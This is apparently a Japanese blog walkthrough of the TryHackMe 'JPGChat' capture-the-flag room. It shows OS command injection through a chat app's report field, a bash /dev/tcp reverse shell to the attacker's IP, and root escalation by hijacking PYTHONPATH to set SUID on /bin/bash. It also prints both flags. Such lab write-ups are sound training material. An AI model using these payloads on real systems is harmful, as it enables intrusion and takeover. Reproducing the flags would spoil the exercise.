1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

一人アドカレAdvent Calendar 2024

Day 12

【TryHackMe】JPGChat:Walkthrough

Posted at

概要

TryHackMe「JPGChat」のWalkthroughです。

Task1

Q1.Establish a foothold and get user.txt

Hint.Can you get the applications source code, this can be found at the admins github. Where could we be able to find the admins name? Check out the whole application.

ポートスキャンを実行します。

$ nmap -Pn -T4 -sVC -A -p- 10.10.190.40 -oN nmap_result
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
|   256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
|_  256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, NULL: 
|     Welcome to JPChat
|     source code of this service can be found at our admin's github
|     MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_    REPORT USAGE: use [REPORT] to report someone to the admins (with proof)

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
3000

Netcatで3000番ポートにアクセスします。

$ nc 10.10.190.40 3000                                 
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)

[MESSAGE]を送信することでメッセージを、[REPORT]を送信することでレポートを送信できるようです。

また、レポート機能からMozzie-jpgという名前を得られました。

[MESSAGE]
There are currently 0 other users logged in
[MESSAGE]: hello

[REPORT]
this report will be read by Mozzie-jpg
your name:
a
your report:
a

Googleで名前を検索するとこのアプリケーションのGithubレポジトリを発見しました。

ソースコードを見ます。
レポート機能で使用しているos.system()からOSコマンドインジェクションが出来そうです。

jpchat.py
def report_form():

	print ('this report will be read by Mozzie-jpg')
	your_name = input('your name:\n')
	report_text = input('your report:\n')
	os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
	os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)

&でコマンドをつなげてpingの送信に成功しました。

[REPORT]
this report will be read by Mozzie-jpg
your name:
1&ping -c 1 10.6.55.144
your report:
"a"&ping -c 1 10.6.55.144
1
a
$ sudo tcpdump -i tun0 icmp                                 
[sudo] password for kali: 
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:05:29.141092 IP 10.10.190.40 > 10.6.55.144: ICMP echo request, id 1583, seq 1, length 64
09:05:29.141100 IP 10.6.55.144 > 10.10.190.40: ICMP echo reply, id 1583, seq 1, length 64
09:05:29.384347 IP 10.10.190.40 > 10.6.55.144: ICMP echo request, id 1587, seq 1, length 64
09:05:29.384355 IP 10.6.55.144 > 10.10.190.40: ICMP echo reply, id 1587, seq 1, length 64

リバースシェルを張ります。
ペイロードを送信しシェルを取得できました。

[REPORT]
this report will be read by Mozzie-jpg
your name:
1&bash -i >& /dev/tcp/10.6.55.144/12345 0>&1;
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.190.40] 58250
bash: cannot set terminal process group (1767): Inappropriate ioctl for device
bash: no job control in this shell
wes@ubuntu-xenial:/$ whoami
whoami
wes

TTYの設定をします。

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

/home/wes/user.txtからユーザーフラグを入手できました。

$ cat user.txt
cat user.txt
JPC{487030410a543503cbb59ece16178318}

A.JPC{487030410a543503cbb59ece16178318}

Q2.Escalate your privileges to root and read root.txt

Hint.In the sudo -l output, you can see that PYTHONPATH variable will be kept. Can you exploit this? Google around

sudo -lを確認すると、SETENVが設定されており/opt/development/test_module.pyが実行できると分かりました。

$ sudo -l
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py

/opt/development/test_module.pyの処理を確認するとcompareモジュールを読み込んでプログラムを実行しています。

/opt/development/test_module.py
#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))

このことからSETENVPYTHONPATHを変更し悪意あるcompare.pyモジュールを読み込ませて実行する事が出来そうです。

/tmpcompare.pyを作成します。

$ echo "import os;os.system('chmod u+s /bin/bash')" > compare.py

PYTHONPATH=/tmpを指定し、/tmp/compare.pyを読み込ませるようにして/opt/development/test_module.pyを実行します。

$ sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/development/test_module.py

/bin/bashを確認するとSUIDが設定されています。

$ ls -al /bin/bash
ls -al /bin/bash
-rwsr-xr-x 1 root root 1037528 Jul 12  2019 /bin/bash

-pオプションでrootに昇格出来ました。

$ /bin/bash -p
/bin/bash -p
bash-4.3# whoami
whoami
root

/root/root.txtからルートフラグを入手できました。

bash-4.3# cat /root/root.txt
cat /root/root.txt
JPC{665b7f2e59cf44763e5a7f070b081b0a}

A.JPC{665b7f2e59cf44763e5a7f070b081b0a}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?